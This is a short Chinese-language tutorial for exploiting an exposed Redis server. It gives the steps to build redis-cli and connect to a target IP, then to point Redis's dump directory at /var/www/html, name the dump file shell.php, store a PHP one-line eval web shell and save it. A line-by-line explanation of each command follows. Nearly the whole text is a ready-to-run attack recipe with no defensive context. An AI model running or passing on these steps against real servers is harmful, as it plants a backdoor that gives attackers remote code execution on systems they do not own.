wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz 解压
cd redis-6.0.3/
make 编译
cd src/
cp redis-cli /usr/bin 客户端连接程序
*执行命令后完成安装
redis-cli -h 10.1.1.200 -p 6379
*连接redis服务端
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save
*依次执行,进入网站根目录,生成配置文件并写入shell
让我逐步解释这些命令的含义:
redis-cli -h 10.1.1.200 -p 6379
: 这个命令用于通过redis-cli
工具连接到 Redis 服务器。其中-h
参数指定 Redis 服务器的 IP 地址,-p
参数指定 Redis 服务器的端口号。config set dir /var/www/html
: 这个命令使用 Redis 的config set
命令来设置 Redis 数据库的工作目录为/var/www/html
。这将指定 Redis 在保存持久化文件时使用的目录。config set dbfilename shell.php
: 这个命令使用 Redis 的config set
命令来设置 Redis 数据库的持久化文件名为shell.php
。这将指定 Redis 将持久化数据保存到名为shell.php
的文件中。set x "<?php @eval($_POST['cmd']);?>"
: 这个命令使用 Redis 的set
命令将键x
的值设置为<?php @eval($_POST['cmd']);?>
。这是一个 PHP 一句话木马的代码,它将在后续的持久化操作中被保存到 Redis 数据库中。save
: 这个命令用于触发 Redis 进行持久化操作。当执行save
命令时,Redis 将创建一个持久化文件,将当前数据库中的数据保存到指定的工作目录和文件名中(在此例中是/var/www/html/shell.php
)。